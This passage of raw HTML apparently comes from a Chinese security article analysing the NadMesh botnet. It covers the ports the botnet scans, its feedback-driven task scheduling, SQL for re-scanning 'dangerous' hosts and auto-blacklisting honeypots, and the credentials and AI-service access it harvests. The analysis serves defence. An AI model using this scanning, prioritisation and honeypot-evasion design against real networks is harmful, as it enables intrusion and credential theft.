src="https://wechat2rss.xlab.app/img-proxy/?k=a03a5fec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xY7sDpsO6xUZCE24icbp36pLmHuw9971r4IchP15GFB74QXOGYR9rdXcXc1Y9iaaiarIOFxkwahic9a4PwIpaeXiaBPpkEkFfVN2Z4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">NadMesh 自治扫描与任务调度</span></span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">扫描端口集（30 个）</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">80</span>,<span class="code-snippet__number">443</span>,<span class="code-snippet__number">3000</span>,<span class="code-snippet__number">5000</span>,<span class="code-snippet__number">8000</span>,<span class="code-snippet__number">8080</span>,<span class="code-snippet__number">8443</span>,<span class="code-snippet__number">8888</span>,<span class="code-snippet__number">9000</span>,<span class="code-snippet__number">9999</span>,<span class="code-snippet__number">6443</span>,<span class="code-snippet__number">10250</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">9200</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">23</span>,<span class="code-snippet__number">8088</span>,<span class="code-snippet__number">2718</span>,<span class="code-snippet__number">8090</span>,<span class="code-snippet__number">10000</span>,<span class="code-snippet__number">2379</span>,<span class="code-snippet__number">8848</span>,<span class="code-snippet__number">8265</span>,<span class="code-snippet__number">8188</span>,<span class="code-snippet__number">5678</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">11434</span>,<span class="code-snippet__number">7860</span>,<span class="code-snippet__number">5432</span>,<span class="code-snippet__number">3306</span>,<span class="code-snippet__number">2375</span>,<span class="code-snippet__number">2376</span>,<span class="code-snippet__number">6379</span></span></code><br/></pre></p><pre><code></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: normal;">覆盖的服务面：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001156" data-ratio="0.24795640326975477" data-s="300,640" type="block" data-type="png" data-w="734" src="https://wechat2rss.xlab.app/img-proxy/?k=2efb667b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ygX25W7Y08CKFnFg3tibUicBxe0TfXakdnBfeEO0F6dj5DHbRSeShiasYEZ3VK1NokwibsWuiboiaGtu8B75TuKVAmpmW0Tuk827iat8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">任务补给机制（自适应反馈）</span></span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">yield_generator.py —— 高产网段放大扫描</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><code><span leaf=""><span class="code-snippet__meta">#</span> 每5分钟执行一轮：</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 1. 查询24h内dangerous != <span class="code-snippet__string">&#39;[]&#39;</span> 的results</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 2. 按/16前缀聚合，取top50高产网段</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 3. 从这些网段随机生成2000个/24任务</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 4. priority=10注入 (高于随机但低于危险IP)</span></code><br/></pre></p><h1 data-pm-slice="0 0 []"><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">效果很直接：扫描越出成果的网段，越会被密集再扫，形成</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">正反馈循环</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p></h1><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">auto_inject.sh —— 危险 IP 周期重扫</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><code><span leaf=""><span class="code-snippet__meta">#</span> 每15分钟执行：</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 1. 24h内 dangerous != <span class="code-snippet__string">&#39;[]&#39;</span> 的IP作为/32高优先级(priority=20)重扫</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 2. AI服务端口优先: 8188/11434/7860/5678</span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span> 3. 同时从130个精细化云服务商/16前缀随机生成500个/24 (priority=5)</span></code><br/></pre></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">reinject.sh —— 全量高优先级重扫</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">INSERT INTO</span> tasks (cidr, ports, priority<span class="code-snippet__operator">=</span><span class="code-snippet__number">50</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> <span class="code-snippet__keyword">DISTINCT</span> ip<span class="code-snippet__operator">||</span><span class="code-snippet__string">&#39;/32&#39;</span> <span class="code-snippet__keyword">FROM</span> results</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">WHERE</span> dangerous <span class="code-snippet__operator">!=</span> <span class="code-snippet__string">&#39;[]&#39;</span> </span></code><br/><code><span leaf="">  <span class="code-snippet__keyword">AND</span> created_at <span class="code-snippet__operator">&gt;</span> now()<span class="code-snippet__number">-604800</span>    <span class="code-snippet__comment">-- 7天</span></span></code><br/><code><span leaf="">  <span class="code-snippet__keyword">AND</span> ip <span class="code-snippet__keyword">NOT</span> <span class="code-snippet__keyword">IN</span> honeypot_blacklist;</span></code><br/></pre></p><h1 data-pm-slice="0 0 []"><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">三个脚本叠加，形成清晰的优先级梯队：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001148" data-ratio="0.5368663594470046" data-s="300,640" type="block" data-type="png" data-w="434" src="https://wechat2rss.xlab.app/img-proxy/?k=b989cc77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zdFvSYhO8PianoT4sqECkiaiaGwXRXRgCyy95xib8icPXKE0ja7hibcnvU9bTAd3su1MFDleDicK5w4HyZOEXBwwB6CLlVDMKocN50sI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></h1><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">蜜罐自动黑名单</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__comment">-- auto_blacklist.sh 每小时执行</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">INSERT INTO</span> honeypot_blacklist (ip, reason<span class="code-snippet__operator">=</span><span class="code-snippet__string">&#39;auto: 10+ deploys&#39;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> target_ip <span class="code-snippet__keyword">FROM</span> deploys</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">WHERE</span> status <span class="code-snippet__keyword">NOT</span> <span class="code-snippet__keyword">LIKE</span> <span class="code-snippet__string">&#39;fail_%&#39;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">GROUP</span> <span class="code-snippet__keyword">BY</span> target_ip <span class="code-snippet__keyword">HAVING</span> <span class="code-snippet__built_in">count</span>(<span class="code-snippet__operator">*</span>) <span class="code-snippet__operator">&gt;=</span> <span class="code-snippet__number">10</span>;</span></code><br/></pre></p><h1 data-pm-slice="0 0 []"><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">判定逻辑是：对同一 IP 部署 ≥10 次仍拿不到结果，即认定为蜜罐并自动拉黑。这说明作者已经意识到安全研究人员的存在，并主动做了规避。</span></p></h1><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">NadMesh Agent 远控能力与漏洞利用向量</span></span></h1><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">扫描与识别（Bot 侧）</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot Agent 的扫描任务流程如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.45315161839863716" data-s="300,640" data-type="png" data-w="587" type="block" data-imgfileid="100001149" src="https://wechat2rss.xlab.app/img-proxy/?k=f8f1b89e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zvvJ0r5YUPDfIrlDKIkDQyPkXy9YRuBLaNQyRpib0YWUWgMV30CVG5Ns3BqGKTQUFPX0Tqia0mOOX6QgnNGcUZzcLLdqpKpktls%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">值得注意的是兜底机制：即便控制端任务队列耗尽，Bot 也会自行生成随机 /24 继续扫描，不会闲置。</span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">20+ RCE 向量清单</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">控制端支持的利用方式，按优先级排列：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001150" data-ratio="0.5656050955414013" data-s="300,640" type="block" data-type="png" data-w="785" src="https://wechat2rss.xlab.app/img-proxy/?k=e8996066&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xNaUw6gFuFia2g9VIbezLqHVUKyBUuqyCJNroxt6JfepicNtPJDdWickq5JIwkSYibR8yiaBL8zR7QF0nVBDaFmbN89jHtcwGNQGPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">部署结果分类</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Agent 上报的 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">status</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 在控制端被归为四类，这套分类直接支撑了面板上的转化漏斗统计：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21444444444444444" data-s="300,640" data-type="png" data-w="900" type="block" data-imgfileid="100001151" src="https://wechat2rss.xlab.app/img-proxy/?k=5b3623f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wFVxvOuBibsC9kMUvZLxA1IibXnLZ5govA0zxlIHul2zYGEJFUvlUhN40ia1IJf4Iicibznff8CZQLxIw0Yic45RI2tC3aoJo5BLJCI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">NadMesh 凭证与 AI 情报收割</span></span></h1><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">情报字段（Agent 上报）</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Agent 在入侵成功后立即采集的情报类型：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001152" data-ratio="0.7870680044593088" data-s="300,640" type="block" data-type="png" data-w="897" src="https://wechat2rss.xlab.app/img-proxy/?k=1bf64f28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ziaAicgBtUpG86zJ1D2iamrr4ic4OjNX0nkia1WCgxgAcPlsXd2by8mBsmh0mpjU0YEmVpUPYrqPj4ODDXI7tSZQg9oLbGprEPqy28%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这份结构透露出攻击者真正在意的东西：不是主机本身，而是主机上的</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">云凭证、K8s 集群权限、AI 模型访问权和可利用的 MCP 工具</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">Shodan AI 服务定向收割（ai_harvest.py</span><span textstyle="" style="font-size: 20px;">）</span></span></h2><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5565031982942431" data-s="300,640" data-type="png" data-w="469" type="block" data-imgfileid="100001153" src="https://wechat2rss.xlab.app/img-proxy/?k=d3683f3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xvtpvmC3xY46FGjEFIuUoKuRhZAKsDcRLlE4NpOSmh3wlUbbqaZfJfCUtaHXDwoznJia9kQGwUh0BLEIvVibYvYHbOSVNiabzZt0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">情报面板展示</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">控制端面板会统计并展示以下几类收割成果：</span></p><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">凭证数: 唯一 AWS AccessKeyId 数量</span></strong></li></ul><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">MCP 漏洞: 可利用的 execute_sql / execute_shell 服务数量</span></strong></li></ul><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">AI 模型: Ollama（llama2/mistral）+ ComfyUI + Open WebUI</span></strong></li></ul><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">K8s ServiceAccount: 集群权限 token</span></strong></li></ul><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">环境变量凭证: 可跨主机复用的凭证</span></strong></li></ul><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Docker 主机: 可逃逸的容器宿主</span></strong></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="intel.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001144" data-ratio="0.7657407407407407" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="1080" 